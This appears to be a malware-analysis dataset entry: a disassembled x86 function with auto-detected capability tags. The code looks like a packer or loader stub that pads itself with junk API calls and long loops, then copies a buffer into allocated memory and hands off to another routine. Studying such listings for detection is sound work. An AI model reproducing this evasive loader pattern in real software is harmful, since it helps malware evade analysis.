Function at 0x408d50
Capabilities:
Create pipe
Get common file path
Get geographical location
Manipulate console buffer
Set console window title
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x84c
mov eax, dword [0x429004]
xor eax, esp
mov dword [esp + 0x848], eax
mov edx, dword [0x2b50294]
push ebx
push esi
xor ebx, ebx
push edi
cmp edx, 0x7c
jne 0x408def
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadIconA]
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalUnlock]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapWalk]
cmp dword [0x2b50294], 0x2d
jne 0x408dca
push ebx
push ebx
push ebx
lea eax, [esp + 0x1c]
push eax
mov dword [esp + 0x20], ebx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
call fcn.004011a3
add esp, 4
lea ecx, [esp + 0x14]
push ecx
call section..text
mov edx, dword [0x2b50294]
mov ecx, dword [0x42acf0]
xor eax, eax
mov edi, 0xec58acac
or esi, 0xffffffff
nop
cmp eax, 0x8450db
jne 0x408e0d
lea edx, [ecx + 0xa231]
cmp edx, 0x141
jne 0x408e21
mov dword [0x42be70], edi
mov dword [0x42be74], esi
inc eax
cmp eax, 0xb9fa618
jl 0x408e00
mov esi, dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov dword [0x2b50294], edx
xor edi, edi
cmp edi, 0x562d05
jne 0x408e49
mov eax, dword [0x42ace4]
mov dword [0x2b5061c], eax
cmp edx, 0x3c
jne 0x408e57
push ebx
call esi
mov edx, dword [0x2b50294]
inc edi
cmp edi, 0x5f6c74
jl 0x408e37
cmp edx, 0x110a
jne 0x408ed4
push ebx
mov dword [0x2b50288], ebx
mov dword [0x2b5028c], ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
push str.koxahen
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapCompact]
push ebx
call fcn.0040106a
add esp, 4
push str.0__s__d__f
call fcn.0040117b
add esp, 4
push ebx
call fcn.0040106a
add esp, 4
push ebx
call fcn.0040106a
add esp, 4
push ebx
call fcn.0040143c
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ecx, dword [0x2b50294]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor edi, edi
mov dword [0x2b4ffbc], eax
cmp dword [0x2b50294], ebx
jbe 0x408f4d
mov esi, dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
jmp 0x408f10
mov edx, dword [0x2b5061c]
mov dword [esp + 0x14], edx
mov eax, 0xa231
add dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov cl, byte [eax + edi]
mov edx, dword [0x2b4ffbc]
mov byte [edx + edi], cl
cmp dword [0x2b50294], 0x5ab
jne 0x408f44
push ebx
push ebx
push ebx
call esi
inc edi
cmp edi, dword [0x2b50294]
jb 0x408f10
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.msimg32.dll
call edi
call fcn.00408a70
mov eax, dword [0x2b50294]
mov ecx, dword [0x2b4ffbc]
mov ebx, dword [0x429ed0]
mov esi, eax
mov dword [esp + 0x24], ecx
cmp eax, 0x930
jne 0x408f8a
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov eax, dword [0x2b50294]
mov dword [0x2b4ffb8], ebx
cmp eax, 0x114e
jne 0x408fae
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
push 0
call edi
mov eax, dword [0x2b50294]
cmp eax, 0x2f
jne 0x408fe1
xor ecx, ecx
lea eax, [esp + 0x14]
push eax
push ecx
xor edx, edx
push edx
lea eax, [esp + 0x1c]
push eax
push ecx
mov dword [esp + 0x24], edx
mov dword [esp + 0x28], ecx
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputA]
push 0
lea ecx, [esp + 0x54]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointW]
mov ebx, dword [esp + 0x24]
mov edi, esi
call fcn.00408bc0
add dword [0x2b4ffbc], 0
mov ebx, dword [sym.imp.USER32.dll_GetMonitorInfoW]
mov esi, dword [sym.imp.KERNEL32.dll_GetAtomNameW]
xor edi, edi
lea edx, [esp + 0x28]
push edx
push 0
call ebx
push 0
push 0
push 0
call esi
cmp edi, 0x1a01e
jle 0x409027
cmp dword [esp + 0x30], 0xf5bed7
jne 0x409030
inc edi
cmp edi, 0x1ece7a52
jl 0x409004
mov edi, dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esp + 0x10], 0x1519a5
mov ebx, 0x8e46a6f0
lea esp, [esp]
cmp dword [0x2b50294], 0xcc1
jne 0x409060
push 0
call edi
cmp dword [0x2b50294], 0x3dc
mov dword [0x2b50290], ebx
jne 0x409085
push 0
push 0
push 0
push 0
push 0
push 0
push str.digetufeyukifulax
call esi
dec dword [esp + 0x10]
jne 0x409050
mov ecx, dword [esp + 0x854]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040105b
mov esp, ebp
pop ebp
ret